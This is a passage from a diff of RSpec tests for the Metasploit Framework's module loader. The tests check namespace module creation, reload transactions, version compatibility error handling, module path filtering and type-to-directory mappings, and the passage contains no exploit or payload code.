=> false) - end - - it 'should log information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with usable metasploit_class' do - before(:each) do - # remove the mocked namespace_module since happy-path/real loading is occurring in this context - subject.unstub(:namespace_module_transaction) - end - - it 'should log load information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do - original_load_error = "Back in my day this module didn't load" - module_manager.module_load_error_by_path[module_path] = original_load_error - - module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true - module_manager.module_load_error_by_path[module_path].should be_nil - end - - it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call module_manager.on_module_load' do - module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'with :recalculate_by_type' do - it 'should set the type to be recalculated' do - recalculate_by_type = {} - - subject.load_module( - parent_path, - type, - module_reference_name, - :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true - end - end - - context 'with :count_by_type' do - it 'should set the count to 1 if it does not exist' do - count_by_type = {} - - count_by_type.has_key?(type).should be_false - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - count_by_type[type].should == 1 - end - - it 'should increment the count if it does exist' do - original_count = 1 - count_by_type = { - type => original_count - } - - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - - incremented_count = original_count + 1 - count_by_type[type].should == incremented_count - end - end - end - end - end - end - end - end - - context '#create_namespace_module' do - let(:namespace_module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # capture in local variable so it works in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do - Object.should_receive( - :module_eval - ).with( - "module #{namespace_module_names[0]}\n" \ - "module #{namespace_module_names[1]}\n" \ - "module #{namespace_module_names[2]}\n" \ - "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ - "end\n" \ - "end\n" \ - "end", - anything, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the module_eval path to the loader's __FILE__" do - Object.should_receive( - :module_eval - ).with( - anything, - described_class_pathname.to_s, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it 'should set the module_eval line to compensate for the wrapping module declarations' do - Object.should_receive( - :module_eval - ).with( - anything, - anything, - described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the namespace_module's module loader to itself" do - namespace_module = double('Namespace Module') - - namespace_module.should_receive(:loader=).with(subject) - - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - end - - context '#current_module' do - let(:module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # copy to local variable so it is accessible in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false - subject.send(:current_module, module_names).should be_nil - end - - it 'should return the module if it is defined' do - module Msf - module Modules - module Mod0 - end - end - end - - subject.send(:current_module, module_names).should == Msf::Modules::Mod0 - end - end - - context '#each_module_reference_name' do - it 'should be abstract' do - expect { - subject.send(:each_module_reference_name, parent_path) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path' do - it 'should be abstract' do - expect { - subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path?' do - it 'should return false if path is hidden' do - hidden_path = '.hidden/path/file.rb' - - subject.send(:module_path?, hidden_path).should be_false - end - - it 'should return false if the file extension is not MODULE_EXTENSION' do - non_module_extension = '.c' - path = "path/with/wrong/extension#{non_module_extension}" - - non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a unit test' do - unit_test_extension = '.rb.ut.rb' - path = "path/to/unit_test#{unit_test_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a test suite' do - test_suite_extension = '.rb.ts.rb' - path = "path/to/test_suite#{test_suite_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true - end - end - - context '#module_reference_name_from_path' do - it 'should strip MODULE_EXTENSION from the end of the path' do - path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" - path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" - - subject.send(:module_reference_name_from_path, path).should == path_without_extension - end - end - - context '#namespace_module_name' do - it 'should prefix the name with Msf::Modules::' do - subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') - end - - it 'should prefix the relative name with Mod' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - relative_name = namespace_module_name.gsub(/^.*::/, '') - - relative_name.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_names' do - it "should prefix the array with ['Msf', 'Modules']" do - subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) - end - - it 'should prefix the relative name with Mod' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - - namespace_module_names.last.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - relative_name = namespace_module_names.last - unpacked_name = relative_name.gsub(/^Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_transaction' do - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - context 'with pre-existing namespace module' do - before(:each) do - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 - - end - end - end - end - - @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - end - - context 'with :reload => false' do - it 'should log an error' do - subject.should_receive(:elog).with(/Reloading.*when :reload => false/) - - subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| - true - end - end - end - - it 'should remove the pre-existing namespace module' do - Msf::Modules.should_receive(:remove_const).with(relative_name) - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - end - - it 'should create a new namespace module for the block' do - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - namespace_module.should_not == @existent_namespace_module - - expect { - namespace_module::Metasploit3 - }.to raise_error(NameError) - - true - end - end - - context 'with an Exception from the block' do - let(:error_class) do - NameError - end - - let(:error_message) do - "SayMyName" - end - - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - raise error_class, error_message - end - rescue error_class => error - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end - - context 'with the block returning false' do - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - false - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should_not be_nil - current_constant.should_not == @existent_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - - context 'without pre-existing namespace module' do - before(:each) do - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.send(:remove_const, relative_name) - end - end - - it 'should create a new namespace module' do - expect { - Msf::Modules.const_get(relative_name) - }.to raise_error(NameError) - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_get(relative_name).should == namespace_module - end + namespace_module_names.join('::').constantize end - context 'with an Exception from the block' do - let(:error_class) do - Exception - end + context 'loader' do + it 'should be a read/write attribute' do + loader = double('Loader') + namespace_module.loader = loader - let(:error_message) do - 'Error Message' - end + namespace_module.loader.should == loader + end + end - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + context 'module_eval_with_lexical_scope' do + it 'should capture the lexical scope' do + expect { + namespace_module.module_eval_with_lexical_scope(module_content, module_path) + }.to_not raise_error + end - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true + context 'with malformed module content' do + it 'should use module path in module_eval' do + error = nil - raise error_class, error_message - end - rescue error_class - end + begin + namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) + rescue NoMethodError => error + # don't put the should in the rescue because if there is no error, then the example will still be + # successful. + end - Msf::Modules.const_defined?(relative_name).should be_false - end + error.should_not be_nil + error.backtrace[0].should include(module_path) + end + end + end - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end + context 'parent_path' do + it 'should be a read/write attribute' do + parent_path = double('Parent Path') + namespace_module.parent_path = parent_path - context 'with the block returning false' do - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - false - end - - Msf::Modules.const_defined?(relative_name).should be_false - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - created_namespace_module = nil - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - created_namespace_module = namespace_module - - true - end - - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == created_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - end - - context '#read_module_content' do - it 'should be abstract' do - type = Msf::MODULE_AUX - - expect { - subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#restore_namespace_module' do - let(:parent_module) do - Msf::Modules - end - - let(:relative_name) do - 'Mod0' - end - - it 'should do nothing if parent_module is nil' do - parent_module = nil - - # can check that NoMethodError is not raised because *const* methods are - # not defined on `nil`. - expect { - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error - end - - context 'with namespace_module nil' do - let(:namespace_module) do - nil - end - - it 'should remove relative_name' do - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - - it 'should not set the relative_name constant to anything' do - parent_module.should_not_receive(:const_set) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - end - - context 'with parent_module and namespace_module' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit3 - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod0 - - Msf::Modules.send(:remove_const, relative_name) - end - - context 'with relative_name being a defined constant' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit2 - - end - end - end - end - - @current_namespace_module = Msf::Modules::Mod0 - end - - context 'with the current constant being the namespace_module' do - it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true - - current_module = parent_module.const_get(relative_name) - current_module.should == @current_namespace_module - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - - parent_module.const_defined?(relative_name).should be_true - restored_module = parent_module.const_get(relative_name) - restored_module.should == current_module - restored_module.should == @current_namespace_module - end - - it 'should not remove the constant and then set it' do - parent_module.should_not_receive(:remove_const).with(relative_name) - parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - end - end - - context 'without the current constant being the namespace_module' do - it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - end - - it 'should restore the module to the constant' do - parent_module.const_get(relative_name).should_not == @original_namespace_module - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end - - context 'without relative_name being a defined constant' do - it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - - parent_module.const_defined?(relative_name).should be_true - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end - end - - context '#typed_path' do - it 'should delegate to the class method' do - type = Msf::MODULE_EXPLOIT - - described_class.should_receive(:typed_path).with(type, module_reference_name) - subject.send(:typed_path, type, module_reference_name) + namespace_module.parent_path.should == parent_path + end + end end - end + end - context '#usable?' do - context 'without metasploit_class responding to is_usable' do - it 'should return true' do - metasploit_class = double('Metasploit Class') - metasploit_class.should_not respond_to(:is_usable) + context 'MODULE_EXTENSION' do + it 'should only support ruby source modules' do + described_class::MODULE_EXTENSION.should == '.rb' + end + end - subject.send(:usable?, metasploit_class).should be_true - end - end + context 'MODULE_SEPARATOR' do + it 'should make valid module names' do + name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) + name.constantize.should == Msf::Modules + end + end - context 'with metasploit_class responding to is_usable' do - it 'should delegate to metasploit_class.is_usable' do - # not a proper return, but guarantees that delegation is actually happening - usability = 'maybe' - metasploit_class = double('Metasploit Class', :is_usable => usability) + context 'NAMESPACE_MODULE_NAMES' do + it 'should be under Msf so that Msf constants resolve from lexical scope' do + described_class::NAMESPACE_MODULE_NAMES.should include('Msf') + end - subject.send(:usable?, metasploit_class).should == usability - end + it "should not be directly under Msf so that modules don't collide with core namespaces" do + direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') + last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - context 'with error from metasploit_class.is_usable' do - let(:error) do - 'Expected error' - end + last_index.should > direct_index + end + end - let(:metasploit_class) do - metasploit_class = double('Metasploit Class') + context 'UNIT_TEST_REGEX' do + it 'should match test suite files' do + described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') + end - metasploit_class.stub(:is_usable).and_raise(error) + it 'should match unit test files' do + described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') + end + end + end - metasploit_class - end + context 'class methods' do + context 'typed_path' do + it 'should have MODULE_EXTENSION for the extension name' do + typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - it 'should log error' do - subject.should_receive(:elog).with(/#{error}/) + File.extname(typed_path).should == described_class::MODULE_EXTENSION + end - subject.send(:usable?, metasploit_class) - end + # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything + it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' + it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' + it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' + it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' + it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' + it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' + end + end - it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false - end - end - end - end - end + context 'instance methods' do + let(:module_manager) do + double('Module Manager', :module_load_error_by_path => {}) + end + + subject do + described_class.new(module_manager) + end + + context '#initialize' do + it 'should set @module_manager' do + loader = described_class.new(module_manager) + loader.instance_variable_get(:@module_manager).should == module_manager + end + end + + context '#loadable?' do + it 'should be abstract' do + expect { + subject.loadable?(parent_pathname.to_s) + }.to raise_error(NotImplementedError) + end + end + + context '#load_module' do + let(:parent_path) do + parent_pathname.to_s + end + + let(:type) do + Msf::MODULE_AUX + end + + before(:each) do + subject.stub(:module_path => module_path) + end + + it 'should call file_changed? with the module_path' do + module_manager.should_receive(:file_changed?).with(module_path).and_return(false) + + subject.load_module(parent_path, type, module_reference_name, :force => false) + end + + context 'without file changed' do + before(:each) do + module_manager.stub(:file_changed? => false) + end + + it 'should return false if :force is false' do + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + end + + it 'should not call #read_module_content' do + subject.should_not_receive(:read_module_content) + subject.load_module(parent_path, type, module_reference_name) + end + end + + context 'with file changed' do + let(:module_full_name) do + File.join('auxiliary', module_reference_name) + end + + let(:namespace_module) do + Msf::Modules.const_get(relative_name) + end + + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + before(:each) do + # capture in a local so that instance_eval can access it + relative_name = self.relative_name + + # remove module from previous examples so reload error aren't logged + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + + # create an namespace module that can be restored + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 < Msf::Auxiliary + + end + end + end + end + + @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + + module_manager.stub(:delete).with(module_reference_name) + module_manager.stub(:file_changed?).with(module_path).and_return(true) + + module_set = double('Module Set') + module_set.stub(:delete).with(module_reference_name) + module_manager.stub(:module_set).with(type).and_return(module_set) + end + + it 'should call #namespace_module_transaction with the module full name and :reload => true' do + subject.stub(:read_module_content => module_content) + + subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + + subject.load_module(parent_path, type, module_reference_name) + end + + it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do + module_manager.stub(:on_module_load) + + subject.stub(:read_module_content => module_content) + + subject.load_module(parent_path, type, module_reference_name).should be_true + namespace_module.parent_path.should == parent_path + end + + it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do + module_manager.stub(:on_module_load) + + subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do + subject.stub(:read_module_content => malformed_module_content) + module_manager.stub(:on_module_load) + + # if the module eval error includes the module_path then the module_path was passed along correctly + subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + end + + context 'with empty module content' do + before(:each) do + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should not attempt to make a new namespace_module' do + subject.should_not_receive(:namespace_module_transaction) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'with errors from namespace_module_eval_with_lexical_scope' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + module_content = double('Module Content', :empty? => false) + subject.stub(:read_module_content).and_return(module_content) + end + + context 'with Interrupt' do + it 'should re-raise' do + @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) + + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to raise_error(Interrupt) + end + end + + context 'with other Exception' do + let(:backtrace) do + [ + 'Backtrace Line 1', + 'Backtrace Line 2' + ] + end + + let(:error) do + error_class.new(error_message) + end + + let(:error_class) do + ArgumentError + end + + let(:error_message) do + 'This is rspec. Your argument is invalid.' + end + + before(:each) do + @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + + error.stub(:backtrace => backtrace) + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + end + + it 'should record the load error using the original error' do + subject.should_receive(:load_error).with(module_path, error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + it 'should return false' do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + + context 'without module_eval errors' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) + + metasploit_class = double('Metasploit Class', :parent => @namespace_module) + @namespace_module.stub(:metasploit_class! => metasploit_class) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + end + + it 'should check for version compatibility' do + module_manager.stub(:on_module_load) + + @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) + subject.load_module(parent_path, type, module_reference_name) + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + + end + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + module_manager.stub(:on_module_load) + end + + context 'without metasploit_class' do + let(:error) do + Msf::Modules::MetasploitClassCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end + + before(:each) do + @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) + end + + it 'should record load error' do + subject.should_receive( + :load_error + ).with( + module_path, + kind_of(Msf::Modules::MetasploitClassCompatibilityError) + ) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with metasploit_class' do + let(:metasploit_class) do + double('Metasploit Class') + end + + before(:each) do + @namespace_module.stub(:metasploit_class! => metasploit_class) + end + + it 'should check if it is usable' do + subject.should_receive(:usable?).with(metasploit_class).and_return(true) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'without usable metasploit_class' do + before(:each) do + subject.stub(:usable? => false) + end + + it 'should log information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with usable metasploit_class' do + before(:each) do + # remove the mocked namespace_module since happy-path/real loading is occurring in this context + subject.unstub(:namespace_module_transaction) + end + + it 'should log load information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do + original_load_error = "Back in my day this module didn't load" + module_manager.module_load_error_by_path[module_path] = original_load_error + + module_manager.module_load_error_by_path[module_path].should == original_load_error + subject.load_module(parent_path, type, module_reference_name).should be_true + module_manager.module_load_error_by_path[module_path].should be_nil + end + + it 'should return true' do + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call module_manager.on_module_load' do + module_manager.should_receive(:on_module_load) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'with :recalculate_by_type' do + it 'should set the type to be recalculated' do + recalculate_by_type = {} + + subject.load_module( + parent_path, + type, + module_reference_name, + :recalculate_by_type => recalculate_by_type + ).should be_true + recalculate_by_type[type].should be_true + end + end + + context 'with :count_by_type' do + it 'should set the count to 1 if it does not exist' do + count_by_type = {} + + count_by_type.has_key?(type).should be_false + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + count_by_type[type].should == 1 + end + + it 'should increment the count if it does exist' do + original_count = 1 + count_by_type = { + type => original_count + } + + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + + incremented_count = original_count + 1 + count_by_type[type].should == incremented_count + end + end + end + end + end + end + end + end + + context '#create_namespace_module' do + let(:namespace_module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # capture in local variable so it works in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do + Object.should_receive( + :module_eval + ).with( + "module #{namespace_module_names[0]}\n" \ + "module #{namespace_module_names[1]}\n" \ + "module #{namespace_module_names[2]}\n" \ + "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ + "end\n" \ + "end\n" \ + "end", + anything, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the module_eval path to the loader's __FILE__" do + Object.should_receive( + :module_eval + ).with( + anything, + described_class_pathname.to_s, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it 'should set the module_eval line to compensate for the wrapping module declarations' do + Object.should_receive( + :module_eval + ).with( + anything, + anything, + described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the namespace_module's module loader to itself" do + namespace_module = double('Namespace Module') + + namespace_module.should_receive(:loader=).with(subject) + + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + end + + context '#current_module' do + let(:module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # copy to local variable so it is accessible in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should return nil if the module is not defined' do + Msf::Modules.const_defined?(relative_name).should be_false + subject.send(:current_module, module_names).should be_nil + end + + it 'should return the module if it is defined' do + module Msf + module Modules + module Mod0 + end + end + end + + subject.send(:current_module, module_names).should == Msf::Modules::Mod0 + end + end + + context '#each_module_reference_name' do + it 'should be abstract' do + expect { + subject.send(:each_module_reference_name, parent_path) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path' do + it 'should be abstract' do + expect { + subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path?' do + it 'should return false if path is hidden' do + hidden_path = '.hidden/path/file.rb' + + subject.send(:module_path?, hidden_path).should be_false + end + + it 'should return false if the file extension is not MODULE_EXTENSION' do + non_module_extension = '.c' + path = "path/with/wrong/extension#{non_module_extension}" + + non_module_extension.should_not == described_class::MODULE_EXTENSION + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a unit test' do + unit_test_extension = '.rb.ut.rb' + path = 